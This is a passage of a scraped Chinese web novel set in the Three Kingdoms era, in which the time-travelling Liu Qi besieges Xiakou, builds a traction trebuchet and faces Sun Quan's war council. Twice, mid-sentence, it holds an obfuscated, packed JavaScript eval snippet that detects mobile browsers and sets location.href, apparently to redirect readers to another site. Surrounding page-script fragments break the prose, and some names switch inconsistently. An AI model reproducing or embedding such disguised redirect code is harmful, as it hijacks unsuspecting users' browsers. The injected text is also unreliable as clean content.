没过多久,便见宋廉率领着经过激战望江岭、不少士卒身上还带着血迹和疲惫的部队赶到了夏口北门城下。 王朗迎了上去,目光在宋廉及其部下身上扫过,看到他们虽显疲态但士气高昂,尤其是宋廉本人,眼神锐利,战意未消。 王朗脸上露出了笑容,带着几分武将的豪爽和打趣,拍了拍宋廉的臂甲: “宋校尉,你这手脚也太利索了!望江岭说拿下就拿下了,害得我在山沟里白蹲了半日,连个江东援军的鬼影子都没见到!哈哈!” 王朗这话语中没有责怪语气,反而充满了对宋廉迅速建功的认可和赞许。 宋廉听到王朗这熟稔的调侃,先是一愣,随即心头一热。 宋濂脸上那因厮杀而紧绷,此时也不由得柔和了几分,甚至有些不好意思地咧开嘴,露出发黄的牙齿笑了笑:“王校尉说笑了,是岭上江东守军大意了,才让在下侥幸得手。” 宋濂虽然说得谦虚,但眉宇间那抹被认同的振奋和隐隐的自豪却难以掩饰。 王朗收敛了笑容,目光转向夏口那高大的青砖城墙和宽阔的护城河,语气变得严肃:“闲话少叙,宋校尉,接下来便是真正的硬仗了!你我并力,先会一会这夏口坚城!” “在下全凭王校尉调遣!” 宋廉抱拳,声音铿锵。 王朗,看了眼宋濂所部,刚刚经历血战,此时皆略显疲态。 于是,王朗便做出如下部署:“宋校尉,你部刚经血战,就不必承担首波攻坚之任了。你部暂为我军预备队,于此地稍作休整,同时负责督造攻城器械,并警戒侧翼,防备敌军出城突袭。” 宋廉闻言,心中更是感佩,抱拳肃然道:“诺!” 随后,王朗下令道:“盾车在前,**手紧随,压制城头!先登营看准时机,给我上!” “咚!咚!咚!” 巨大战鼓擂响声,如同敲在每一个攻城士卒的心头。 数十辆匆忙赶制的盾车被壮硕的士卒推动着,如同移动的木墙,缓缓向护城河逼近。 紧随其后的,是大量肩扛土石草袋的士卒,他们冒着城头射下的零星箭矢,奋力将物料投入河中,试图在宽阔的护城河中迅速填出数条狭窄的通道。 而盾车后方,**手们引弓待发,紧张地注视着城头。 “放箭!” 这时城头上的江东军校尉一声令下,密集的箭矢腾空而起,箭雨划过一道弧线,朝着王朗部曲覆盖过去。 城下顿时响起一阵噗噗噗箭矢射在盾车上的声响以及零星的惨叫声。 “举盾!隐蔽!**手还击!”王朗部曲中不少军侯指挥着士卒。 攻城战斗从一开始就进入了白热化。 “冲过去!架云梯!”王朗在后方大吼。 冒着双方交织的箭雨,扛着云梯的敢死队从盾车后方冲出,吼叫着冲向城墙。 他们需要越过护城河边的空地,将云梯架设到高达四丈的城墙上。 然而,迎接他们的是城头守军蓄势已久的猛烈打击! 滚木礌石带着巨大的动能砸下,攀登中的士卒或被砸得骨断筋折,惨叫着从半空坠落;或连人带梯被直接推倒,摔在地上非死即伤。 烧得滚烫、恶臭弥漫的金汁(煮沸的粪便混毒物)瓢泼而下,沾之即皮开肉绽,哀嚎遍野,那凄厉的声音足以让心智不坚者崩溃。 城墙之下,瞬间化为人间炼狱。 宋廉看得双目赤红,他一把夺过一面大盾,对着身边**起来的本部精锐吼道:“跟我上!掩护架梯!” 宋濂亲自顶着盾牌,冒着矢石,冲到城墙根下。 长手刀被宋濂背在身后,此刻他和其他士卒一样,用身体支撑着摇晃的云梯,奋力将其向上顶。 与此同时,西门外的黄忠部也发起攻击,牵制了大量守军,但夏口城墙高厚,守城器械充足,黄忠所部付出了不小的代价,但进展缓慢。 攻城战从午后一直持续到夕阳西下,北门内外已是尸山血海,荆州军的攻势虽然猛烈,数次险些在城墙上站稳脚跟,但最终还是**东军凭借城墙之利和坚韧的防守硬生生给推了下来。 呜——呜——呜—— 刘琦中军传来了鸣金收兵的钲声,悠长而沉闷,在血腥的战场上回荡。 听到钲声,王朗重重一拳锤在身旁的树干上,木屑纷飞。 王朗看着眼前这座吞噬了无数将士生命的坚城,又看了看身旁浑身浴血、喘息粗重的宋廉,咬牙道:“今日便到此!宋校尉,且先收拢士卒,救治伤兵。这夏口……我们来日再战!” 首日强攻,除了拿下望江岭,在夏口主城之下,荆州军可谓寸功未立,反而付出了惨重的伤亡。 荆州军大营,中军帐内。 刘琦静静地听着王朗和宋廉的禀报。 “……攻城器械不足,城墙高厚,守军抵抗极其顽强。我军将士虽奋勇争先,然……伤亡颇重,未能破城。末将指挥不力,请主公责罚!”王朗单膝跪地,声音沉重。 宋廉也一同跪下:“末将未能一举登城,破其防线,亦有罪责!” 刘琦端坐主位,脸上看不出喜怒。 刘琦沉默了片刻,方才缓缓开口,“此战之失,不在尔等。城中之敌,多是跟随孙策征战江东六郡的老卒,实力强悍。若你等能一战而下,反倒显得他们是纸糊的了。” 刘琦站起身,走到二人面前,亲手将他们扶起:“首日攻城,本就是试探其虚实,消耗其兵力、箭矢。” “我军虽未破城,然将士用命,锐气未失,尤其是宋校尉,先克望江岭,再战北门,勇毅可嘉,何罪之有?” 王朗和宋廉听到这番话,紧绷的肩膀不约而同地松弛下来,心中也松了一口气。 二人最担心的就是主公因初战受挫而责难,如今得到的是理解与信任,这比任何奖赏都更让人振奋。 这时,一直在旁沉默的黄忠抚须开口:“今日虽未破城,然贼军锐气亦挫。来日打造足够器械,寻其薄弱处,必可破之。” 刘琦赞许地看了黄忠一眼,沉声道:“汉升所言极是。工欲善其事,必先利其器。” 刘琦踱步回到舆图前,手指划过舆图上的夏口城,语气转为决断:“既然夏口城高池深,守备森严,我军便不能一味蚁附强攻,徒增伤亡。” 刘琦猛地转身,目光扫过帐中三将,沉声喝道:“传令!” “末将在!”黄忠、王朗、宋廉三人神色一凛,齐齐踏前一步,抱拳应诺,等待着主公的进一步指令。 “从明日起,各部轮流作业,大举制造井阑、冲车、投石机!” “我要让我们的箭矢能从高处压制城头,让我们的巨木能撼动他的城门,让我们的巨石能砸碎他的女墙!” 作为魂穿此世的后来者,刘琦内心深处始终秉持着一种与这个时代许多枭雄截然不同的观念。 “一将功成万骨枯”,在史书上轻飘飘的一句。 但在现实中却是一连串冰冷的伤亡数字背后,都是一个鲜活的生命,一个家庭的顶梁柱。 刘琦无法像某些人(譬如那位北方的曹孟德)那般,视士卒百姓如野草,认为“死伤些许,来年春风又生”。 以人为本,珍惜每一份力量,这不仅是刘琦的统兵原则,更是刘琦的人生信条。 刘琦的目光扫过帐中诸将,语气不容置疑:“强攻可以,但必须是在我军器械占优,能最大限度减少儿郎们伤亡的前提下!” “我要的是拿下夏口,而不是用我荆州健儿的尸骨去填平它的护城河!” “主公英明!”黄忠、王朗、宋廉皆肃然抱拳。 他们或许不能完全理解刘琦内心深处那份对生命的敬畏从何而来,但一位爱惜士卒、不愿轻易牺牲部下的主公,都能赢得他们发自内心的拥戴。 命令已下,然而黄忠、王朗、宋廉三人应诺后,却并未如同往常般立刻领命离去,反而互相看了一眼, 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而要声名大噪,恐怕要等曹操大破袁绍名传天下后,这投石机才会随着战报一同传遍天下吧。 想通了此节,刘琦心中了然,立刻收敛了讶异的神色,以免引起不必要的猜疑,转而用尽量通俗易懂的语言解释道: “此物……嗯,说来也简单。” “先造一个坚固的木架作为基座,上面设一根可以灵活转动的长杆,此即为‘炮梢’。炮梢的一端编结一个皮兜用来装石块,另一端则系上数根粗麻绳。” 刘琦一边说,一边试图用手比划出拉绳式投石机的样子。 “使用时,先将炮梢有皮兜的一端使力士拉下来固定住,装入石弹。然后,安排数十名力士,各执一根绳索,听号令一齐猛拉!绳索带动炮梢另一端急速下坠,皮兜这端便会借力猛然扬起,将石弹高高抛射出去,可远掷数百步,威力足以砸碎城垛,撼动墙垣!” 然而,尽管刘琦尽量描述出拉绳式投石机具体的样子。 但黄忠、王朗、宋廉三人脸上的茫然之色却丝毫未减,反而更深了。 三人皱着眉头,努力在脑海中构想着主公手脚并用比划的那个“木架子”。 但三人绞尽脑汁也想不出如何将“几十人拉绳子”和“把巨石扔出几百步远”这两件事联系起来。 这完全超出了他们现有的认知范畴。 这就好比,现代人听高数一样,每个字他们都知道,但合在一起却不能理解其中之意。 黄忠忍不住再次挠头,这位老将打过无数硬仗,见过的军械也不少,此刻却像个懵懂的学徒,困惑地开口:“主公,您说的这……拉绳子……真能把那么重的石头扔出去?还几百步?这……末将实在想象不出啊。” 王朗和宋廉也在一旁深有同感地点头,脸上写满了“匪夷所思”。 刘琦看着三人如同听天书一般的表情,这才彻底意识到,光靠嘴说和比划,在不懂的人看来如同阿巴阿巴般,难以理解。 让习惯了冲锋陷阵的将领去凭空构想一台复杂机械的制造细节,确实是强人所难。 刘琦猛的一拍额头,失笑道:“却是我想当然了!” “此等器械制作,精妙之处在于尺寸、结构和力道计算,这正是能工巧匠所长,而非我等仗剑冲杀之辈的专精。” 刘琦立刻收敛笑容,下令:“汉升,你立刻去召集军中所有手艺最好的木匠和铁匠!” “我将亲自绘制简图,与他们一同参详,务必尽快将此‘投石机’试制出来!” 听到主公不再要求他们理解那玄乎的“抛石之理”,而是转向更实际的制造,黄忠三人顿时松了口气,同时心中那份好奇也被彻底勾起。 黄忠立刻抱拳:“诺!末将这就去将营中巧手都寻来!” 王朗和宋廉也立刻表示会全力调拨人手配合。 带着对未知事物的期待,三人快步离开了大帐。 (本章完) 第52章 鬼斧神工?主公却嫌射程近! 几日后,夏口城外荆州军大营后的空地上,一架庞然大物已然矗立。 它有着一个用粗大原木捆绑钉制而成的坚固基座,一根更长更粗的“炮梢”通过复杂的榫卯结构和铁件加固,架设在基座之上。 炮梢短的一端系着数十根粗长的麻绳,而装着石块皮窝的长端则被几个壮汉奋力拉下,用挂钩固定在待发状态。 这便是刘琦凭借记忆中的描述,与军中数十名顶尖木匠、铁匠耗费数日心血,反复计算、测量、修改后才勉强制成的——第一台人力牵引式投石机原型机。 此刻,周围围满了人。 黄忠、王朗、宋廉等将校站在最前排,眼神中混合着好奇、期待与一丝怀疑。 而更后方则是众多参与制造的工匠。 不少在营内的士卒也被这动静给吸引,只是碍于军令森严,不敢随意走动,只有少数刚好值守望楼上的士卒能远远的看见场上事务。 刘琦深吸一口气,虽然心中也有些忐忑,但面上依旧沉稳。 刘琦看向负责指挥发射的工匠头领,点了点头。 工匠头领得令,快速挥动手中红旗,喊道:“放!” 数十名紧握拽索的力士闻令,齐声发喊,同时猛地向后全力拉扯绳索! “嘿——哟!” 伴随着力士们的号子,炮梢系绳的一端被狠狠拉下,另一端装载着数十斤重石弹的皮窝猛地扬升、甩出! 在所有人目不转睛的注视下,那数十斤重的石块脱离了皮窝的束缚,带着一股沉闷的破风声,竟真的腾空而起! 只见那数十斤的石弹在空中划出一道虽不算完美的弧线,‘轰’的一声,砸落在百步开外的地面上! 沉重的撞击声如同闷雷滚地,而溅起的尘土足有起一人多高。 这一刻,场上时间仿佛静止,只有风吹过原野的声音和力士们因用力过猛而粗重的喘息声。 围观的人群,从最前排的黄忠、王朗、宋廉,到后方的工匠、士卒,所有人都被眼前这匪夷所思的一幕深深震撼,瞪大了眼睛,张大了嘴巴,现场陷入了一片死寂。 人力竟能如此?区区几人一拉绳索,就能将如此巨石抛出这么远? “天……天工鬼斧!”一名老工匠率先回过神来,声音颤抖,激动得几乎要跪拜下去。 他一生与木材铁器打交道,从未想过能亲眼见证如此“巧夺天工”之物,更有幸能参与其中,真是老祖宗显灵了! “飞……飞过去了!百步!足足百步啊!”一个年轻点的工匠揉了揉眼睛,指着石弹落点,激动得语无伦次。 这惊呼如同投入平静湖面的石子,瞬间激起了千层浪。 “主公真乃神人也!”王朗猛地一拍大腿,脸上因激动而泛红,看向刘琦的目光充满了狂热,“竟能造出此等神物!若以此石轰击城头,何愁敌军不胆寒!” 宋廉也是倒吸一口凉气,由衷赞道:“主公之巧思,竟能夺天工之妙!此等造物之能,闻所未闻,主公实乃我军之幸也!” 就连一向沉稳持重的黄忠,此刻也难掩眼中的惊异与兴奋,他抚着长须,声音洪亮:“妙极!妙极!主公奇思,竟能化众人之力为抛石之能!若能量产,我军便多一破敌利器!纵使城墙坚固,亦能撼之!” 一时间,众人赞誉之声如同潮水般将刘琦包围。 在所有初次见识此物的人看来,能将数十斤巨石抛出百步之遥,已是近乎神迹,足以改变战场格局。 而刘琦的才智,在他们心中已拔高到一个全新的高度。 然而,听着下属们的惊叹与吹捧,刘琦脸上却没有丝毫喜色。 “百步……仅仅百余步……”刘琦低声重复着这个数字,如同呓语。 这完全没达到刘琦预想中的效果。 于是在一片赞许声中,刘琦沉声下令:“再射。” 第二颗、第三颗石弹接连呼啸而出,隆隆的声响一次接一次地打破众人的窃窃私语。 但结果毫无改善,射程始终在一百二十步到一百三十步之间徘徊,无力更进一步。 更要命的是其准头,这几发石弹落点散乱,或左或右,毫无规律可循,简直是听天由命。 而射程始终在一百二十步到一百三十步之间徘徊,这意味着,若将这样的投石机推至夏口城下,操作它的士卒将完全暴露在城头**的射程之内! 这哪里是攻城利器,分明是移动的活靶子和士卒的埋骨场! “停了吧。”刘琦挥了挥手,制止还想继续往皮窝上搬运石弹的力士。 相比于周围众人脸上残留的、对这等“庞然大物”本能般的震撼,刘琦的心已经完全沉了下去。 这效果,与他预想中的攻城利器相差何止千里? 现场原本洋溢着欣喜与震惊的气氛,渐渐沉淀下来,多了几分凝滞。 一些细心的将校已经注意到,主公刘琦的脸上,非但没有丝毫笑容,反而眉头越蹙越紧,原本还想上前恭维几句的荆州军将校,都识趣地闭上了嘴。 刘琦转过身,目光落在负责督造此物的工匠头领身上。 那工匠头领原本因成功发射而激动的红晕还未完全褪去,此刻对上刘琦那毫无喜色、甚至有些阴沉的眼神,心头猛地一突,脸上的血色迅速褪去,变得惶恐起来。 “主……主公?”工匠头领惴惴不安地躬身问道。 刘琦走到投石机巨大的木架旁,伸手拍了拍冰冷的硬木,语气沉重:“此物,我很是不满意。” 简简单单一句话,如同冰水泼进油锅,让工匠头领和周围的几个核心工匠瞬间僵住。 他们面面相觑,都从对方眼中看到了茫然与惶惶不安。 在他们看来,能造出如此巨物,成功将数十斤的石弹抛射到百余步外,已是了不得的成就,足以堪称鬼斧神工,为何主公却…… 这……这已是前所未有之伟力,主公为何仍不满意?! 这个念头在每一个工匠心中一闪而过,不过上下尊卑有别,刘琦是执掌生死的一军之主,他们不过是区区匠人,心中纵有万般困惑与委屈,此时也不敢出言质疑半分,只能向刘琦请罪。 “主公恕罪!”那工匠头领“扑通”一声跪倒在刘琦面前,额头瞬间渗出冷汗。 “小人等已竭尽全力,按图索骥,不知为何……” 后面的话工匠头领没有说出来,那就是我们已经按照你的图纸做了,也不知道你哪里不合你的意。 刘琦看着跪倒在地、惶恐不已的工匠头领,瞬间醒悟过来。 是了,问题并非全在他们。 杠杆比例、配重、抛射角度……这些看似简单的环节,实则差之毫厘,谬以千里。 自己仅凭一点模糊记忆和一张简陋图纸,就期望这跨越时代的造物能一蹴而就,无异于痴人说梦。 这就像……就像只给下属一个模糊的目标,却在他们遇挫时只斥责“不满意”,却不指明具体方向。 这种做法无疑是最令下属绝望的。 想通此节,刘琦心中的愠怒被一种清晰的思路取代。 刘琦沉吟片刻,努力结合脑中那些模糊的物理概念,尝试为工匠们指点方向。 刘琦先是俯身将工匠头领扶起,语气缓和:“勿慌,非尔等不尽心。是吾先前思虑不周。” 接着刘琦指了指投石机几个地方。 “其一,炮梢(杠杆臂)可再加长一截,此为增长力臂,或可增远射程。” “其二,拽索发力不够整齐划一,可将索数增加,令士卒听令齐拉,力合一处。” “其三,基座不稳,发射时晃动,徒耗力道,需再加固。还有……” 刘琦的手指移到杠杆与轴承连接处,那里在几次试射后,已然出现了细微的裂纹:“此处的木材强度不足,几次试射竟已开裂。” “需寻更坚韧、更粗壮之木,或以此木叠加加固,否则未及攻城,自身先崩解矣。” 工匠们听着刘琦条理清晰地指出问题,甚至提出改进方向,原本惶恐的神情逐渐消散,转而聚精会神的听着刘琦的讲解。 工匠头领听着刘琦这般条分缕析,心中的惶恐如潮水般退去,同时暗暗松了口气。 他不怕修改,就怕不知如何修改。 刘琦能如此具体地指出问题所在,等于给他们指明了前进的方向,这比单纯的斥责要强上万倍。 良久,等刘琦说完后。 “主公,小人明白了!这就带人重新计算、改制!”工匠头领重新燃起了斗志。 刘琦拍了拍他的肩膀,勉励道:“善!尔等勿要气短。” “任**物之诞生,皆需反复试错。一次不成便十次,十次不成便百次。” “需要何种材料、多少人手,尽管向黄校尉他们提报,我自会吩咐他们尽力配合于你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608417|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工匠们领命,带着新的思路与目标匆匆离去。 这时,一直在旁默默观察的黄忠,终于忍不住上前一步,抱拳道:“主公,末将有一事不明。” “说!” 刘琦看了黄忠一眼,虽然黄忠还没说,但是刘琦已经知道黄忠想说什么了。 果然,黄忠指着那第一架人力牵引式投石机原型机说道: “此物已能将数十斤石弹抛出百步之遥,威力惊人。在我等看来,纵有些许不准,然城墙巍峨,总能击中。以此攻城,已有奇效,为何主公仍觉不足,非要追求更远?” 其余将校也纷纷点头,面露不解。 在他们的认知里,攻城本就是拿人命去填的血战。 **手为了压制城头,往往需要推进到七八十步,甚至五十步内进行仰射,时刻处在敌军**的致命威胁之下。 这投石机能于百步外发石,已然是将士卒从更近的死亡线上拉回了一段距离,堪称利器,实在不明白主公为何还如此不满意。 刘琦闻言,摇了摇头。 这是时代眼光的局限。 不过刘琦也能理解他们,毕竟他们不像自己一样,见过 黄忠他们不像自己,见识过后世战争各式各样的投石机。 从眼前这粗糙的绳索式投石机只能听天由命的准度,再到后来宋蒙元时期威震天下的**炮,能精准摧毁城墙。 再到西方中世纪城堡攻防中那些更为精密的配重抛石机,射程与威力都不可同日而语。 就更不用说,后世影视游戏中那些更为夸张的能投射燃烧物、乃至**物的重型投石车,巨石的轨迹划破长空,落在几百步之外,激起冲天的火光与烟尘。 双方的思维,根本不在一个频道上。 黄忠他们觉得,攻城本就是血肉相搏,能在一百步外把石头砸上城墙,已经省了不少人命,堪称成功。 但刘琦要的,,是“只能我打你,你却打不了我”的降维打击。 刘琦就要让江东军提前感受一下,什么叫‘落后就要挨打’。 想象一下,当夏口城头的江东守军,眼睁睁看着无数巨石从天而降,砸得城垣碎裂、士兵伤亡,而他们只能缩在墙垛后面被动挨打……这种无法还手的绝望感,这种只能祈祷下一块石头不要落在自己头上的心理煎熬,远比刀剑相交的正面搏杀更能摧垮一支军队的士气。 肉体上的打击固然可怕,但精神上的碾压,往往才是压垮骆驼的最后一根稻草。 虽然想通此节,但刘琦却并有向众人讲解,一来刘琦作为主帅,何须向他们讲解。 二来说了他们也只会觉得天方夜谭,是以,刘琦只对将校说道:“尔等所思,是猛士之勇,不惜己身。” “但此物,并非我心中所期的破城利器。” “眼下只有这百余步射程,操砲士卒仍需在敌军箭矢威胁之下,与推着冲车、顶着楯牌先驱攻城何异?” 刘琦抬手指向夏口城,道:“我要的是此物能立于二百步,甚至更远!” “届时,我之砲手可安然无恙,而城头敌军只能眼睁睁看着巨石天降,徒呼奈何!那,才是我想要的‘破城之锤’!” 众将闻言,神色各异。 二百步外发石破城?操砲士卒毫发无伤?这实在是闻所未闻! 众人皆是沙场宿将,深知攻城之艰,向来是用人命堆出来的。 而刘琦此言,在他们听来,几近于神话。 黄忠眉头微蹙,与王朗交换了一个眼神,彼此都看到了对方眼中的将信将疑。 他们身经百战,可还从未见过能完全避开守军反击的攻城之法。 然而,面对的是刘琦——是这位屡创奇迹的主公。 过往建立的信任与威望,让他们将到了嘴边的质疑又咽了回去。 黄忠深吸一口气,率先抱拳躬身,沉声应道:“主公深谋,非末将等所能揣度。既然主公有令,末将等自当遵从!” 王朗及其他将领也立刻跟上,齐声应诺:“谨遵主公之命!” 刘琦将众人脸上那欲言又止、将信将疑的神色尽收眼底,心中自是了然。 不过,刘琦无所谓他们此刻是否相信。 事实胜于雄辩,待工匠们依据他的指点将那真正的“破城之锤”打造出来,轰鸣的巨石自会击碎所有的怀疑。 现在,无需多言。 (本章完) 第53章妒火烧昏脑!孙权强令分兵击! “投石机需加紧改进,而其余攻城之备,亦不可懈怠。” 刘琦目光扫过黄忠、王朗等将,下令道:“汉升,你继续督造井阑、云梯,务求坚固,仲宣(王朗字)冲车与攻城椎之事,由你负责。” “各营工匠、民夫,皆需全力配合,不得有误。” “末将领命!”黄忠、王朗等将齐声应诺。 见众将再无异议,刘琦的目光越过众将,看向远处的望江岭。 “周瑜非是庸才,必不会坐视我等从容布置。” “然我大军营寨坚固,其若来袭,强攻难讨便宜。然我观那望江岭,居高临下,俯瞰战场全局,若被其占据,我军动向将一览无余,如同被刺瞎双目。周瑜若想破局,必遣精兵抢占此地!” 刘琦说完即刻沉声喝道:“宋濂听令!” “末将在!”宋濂应声出列。 “命你率本部兵马,即刻进驻望江岭,多备滚木礌石,深挖壕沟,严密布防!” “若有江东军来犯,务必死守,并即刻燃起狼烟示警!我见狼烟,必率军来援,或趁其兵力分散,猛攻夏口!” “末将得令!”宋濂慨然拱手,转身便去调拨兵马。 就在刘琦一边指点工匠改进投石机,一边派宋濂进驻望江岭加固防御工事时。 与此同时,夏口城。 此前,周瑜在接到刘琦那封极尽羞辱的书信,又闻凌操战死、出击水军近乎全军覆没后,急火攻心,吐血昏厥。 经过一日夜的救治,周瑜虽苏醒过来,但脸色依旧苍白,往日的神采飞扬被一层难以驱散的疲惫笼罩。 且周瑜时不时会感到胸闷气短,需要倚靠软垫才能长时间坐卧。 苏醒后的周瑜,第一时间关注的仍是战局。 他不甘水师就此被压制,在接下来的几日里,连续派出多股精锐水师,试图寻找荆州水师的破绽,主动邀战。 然而,主持荆州水师的庞统深得刘琦“稳守”精髓,任凭江东水师如何挑衅,主力舰队始终岿然不动,依托新建的水寨和岸基**进行防御。 而面对偶尔有少数江东快船试图靠近骚扰,却被甘宁率领的锦帆营部给无情截杀。 在江水上甘宁可谓是如鱼得水,他驾驭着小船在江面上穿梭如飞,利用对水流的熟悉和悍勇的个人武艺,数次以少胜多,甚至曾单船突阵,跃上敌船,连斩江东数名水军幢主,其勇猛令江东水卒为之胆寒。 周瑜派出的几股袭扰部队,皆被甘宁打得灰头土脸,损兵折将而回。 面对如此局面,周瑜不得不痛苦地承认,在庞统的谨慎和甘宁的骁勇面前,他的水师已难以在江面上打开局面,对陆上战场的支援作用微乎其微。 而刘琦在攻破石阳戍后,已经兵临夏口城下,夏口的存亡已成为当前最紧要的问题。 于周瑜而言若夏口有失,那水师将独木难支,必将被迫退回江东。 思量再三,周瑜做出了决断:水师主力仍需留守水寨,牵制庞统,但不能将所有力量置于城外。 周瑜亲自率领自己的两千余核心部曲,以及从水师中抽调的两千余善战步卒,共计四千余人,放弃部分外围水寨,退入夏口城内。 随着周瑜这四千生力军的入城,夏口城内的江东守军瞬间膨胀至近两万人(包括孙权直属、原守军及周瑜带入的部队)。 兵力上的优势,如同一剂强心针,让原本因连番失利而有些低落的士气为之一振,但也使得城内的“主战”呼声陡然高涨起来。 而此时临时吴侯府邸内 “禀主公,敌军近日调动异常,其主营仍在赶制各种攻城器械,同时,叛将宋濂率数千兵马,进驻望江岭,现已在加固防御工事!” 随着斥候将这几日探来的情报讲完。 吴侯府邸内的众江东将校顿时群情激愤,在他们看来,刘琦攻城不成,竟还敢分兵进驻望江岭,企图扼控望江岭这个战略要地,真是以为胜了他们几场便可目中无人吗!? “刘琦小儿,欺人太甚!” 韩当须发戟张,一拳捶在案几上,震得杯盏乱晃。 “攻城不可,还敢占望江岭,主公,都督,末将请令,率步骑出击,先灭了宋濂这叛徒,再回头与刘琦决战!” 新近率部赶到的潘璋也立刻附和:“韩将军所言极是!我军倍于敌军,岂有龟缩城内,坐视其打造器械、从容布阵之理?当趁其立足未稳,主动出击,一举破之!” 潘璋,字文珪,东郡发干人。建安初年,孙权时年十五,出任阳羡长,潘璋便投奔其麾下。 其治军有方,作战勇猛,常为先登,乃孙权麾下骁将。 主战派将领群情激昂,认为“两万对一万,优势在我”,纷纷请战。 在他们看来,拥有如此兵力优势还困守孤城,简直是懦夫行径。 然而,并非所有将校董赞同主动出击。 吕范出列,沉声道:“主公,诸位将军,我军兵力虽增,然刘琦部亦是百战之师,锐气正盛。” “其攻城器械日夜赶制,可见决心。此时贸然出城,正中其下怀。” “依我看我军当依托坚城,以逸待劳。” “待其师老兵疲,士卒伤亡渐增,守备松懈之时,再倾巢而出,方可一击致命!此方为万全之策。” 蒋钦也补充道:“吕将军所言极是。刘琦尚不知我军确切增兵数量,此乃敌明我暗之利。何不等他攻城受挫,最为疲惫、松懈之际,再行雷霆一击?届时,必可收奇效!” 二人的意见很明确:利用兵力优势和城防,先消耗,后反击。 堂内顿时分成了两派,争论再起。 孙权听着双方的争执,内心再次陷入那种熟悉的拉扯。 孙权渴望战斗,渴望用一场胜利来证明自己,韩当的请战每次都让他心头躁动。 但理智又告诉他,吕范和蒋钦的担忧不无道理,周瑜昏迷前连连失利的前车之鉴犹在眼前。 孙权的目光不由自主地飘向侧首的周瑜身上。 既有对周瑜病情的忧虑,又有一种对周瑜病情将复的紧迫感。 先前周瑜昏迷,孙权独掌大权,虽最终在吕范等人的劝谏下选择了稳妥,但那种乾纲独断、无人掣肘的感觉,如同品尝过最美妙的醇酒,让孙权回味无穷,内心深处对主动出击、建立独属于自己功勋的渴望从未熄灭,反而愈发炽烈。 如今周瑜回来了,不仅人回来了,还带来了四千生力军,这本是好事,却也让孙权感到那刚刚松动了些许的无形枷锁,似乎又重新套了上来。 孙权太需要一场由自己主导、并能大获全胜的战役来彻底确立威望,来向所有人证明,他孙权绝非只能活在兄长孙策的赫赫武功与周瑜的算无遗策阴影下的守成之主! 周瑜的归来,非但没有让孙权感到安心,反而像是一面镜子,映照出孙权尚未完全建立的权威,刺激着孙权那颗急于证明自己的心。 就在这复杂的心绪翻腾间,周瑜开口了,声音虽弱,却瞬间吸引了所有人的注意…… “吕范、蒋钦二位将军所言,深合兵法要义。以逸待劳,后发制人,确是当下稳妥之上策。” 周瑜的话,让主战派的声音为之一滞。 周瑜的威望,即便在病中,也足以让众人侧耳倾听。 然而,周瑜话锋一转,继续道:“然,稳守非是坐守。” “刘琦抢占望江岭,如在我军咽喉插下一根毒刺,令我军动向难以隐藏。” “在我军执行‘以逸待劳’之策前,必须先拔除此刺!” 周瑜强撑着坐直身体,手指在舆图上点了点望江岭的位置: “我意,可派一员上将,率五千精兵,明攻望江岭。” “同时,另遣一军,伏于夏口至望江岭的必经之道,专候刘琦援军。” “此乃‘攻其必救,围点打援’!若能借此机会歼灭其一部援军,或可极大挫其锐气,为后续决战创造更有利条件。” 周瑜此计一出,连吕范和蒋钦都微微颔首,认为周瑜在稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613220|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥中寻求主动,确实是老成谋国之见。 可就在这计策即将获得通过之时,孙权的脸色却阴沉了下来。 周瑜的计划越是完善,越是显得思虑周详就越是让孙权感到一种无形的窒息。 这缜密的谋划,如同一面镜子,照出了孙权刚刚在心中酝酿的“决战”想法是多么的粗疏。 更让孙权恼怒的是,吕范、蒋钦等人,包括刚才还嗷嗷叫的韩当、潘璋,此刻都全神贯注于周瑜的方略,仿佛完全忘记了他这位吴侯方才的倾向。 这种被无视的感觉,让孙权如鲠在喉,而更让孙权难以接受的是吕范这个老臣,明知他新君上位,迫切需要一场由自己主导的胜利来巩固权威,却三番五次只知“守城为上”,如今周瑜一回来,便立刻转向,这更刺痛了孙权敏感的神经。 平心而论,孙权何尝不知周瑜此计(攻望江岭,围点打援)是极高明的稳妥之策? 苏醒后的周瑜,显然已从接连失利的躁进中冷静下来,恢复了其江东柱石的沉稳与睿智。 但此刻,孙权要的不是最优解,而是他的解! “公瑾之策,固然老成。” 孙权开口,声音带着一丝不易察觉的冷硬,他要强行将决策的缰绳拉回自己手中。 “然,此策过于持重,将胜机寄托于刘琦是否会派援军之上。” “若那刘琦心狠,视宋濂这降将为弃子,按兵不动,我军岂非空等,徒耗时日,一如当日王朗埋伏一般?” 孙权目光扫过众将,最终定格在韩当、潘璋身上,语气决断:“我军既拥兵力优势,何不分进合击,令其首尾难顾?” “公瑾可按原计划,派一军攻打望江岭,吸引敌军注意。” “同时.....” 孙权刻意顿了顿,强调着自己的主导权:“由韩当、潘璋二将军,另率一军,直扑刘琦主营!” “彼分兵在外,营寨空虚,正可雷霆一击!即便不能全功,亦可大挫其锐气,毁其攻城器械!两路并进,方显我江东军威!” 孙权这番话,已不是为了讨论最佳战术了,而是为了强行掺入他自己的意志,是为了向所有人宣告,他孙权才是最终的决策者。 周瑜何等人物,立刻从孙权的话语和神态中,感受到了那份针对自己的、混合着不满与急于立威的复杂情绪。 周瑜心中了然,自己此前独揽军权,仅向孙权通报结果的模式,已引发了孙权这位年轻主君的猜忌和不满。 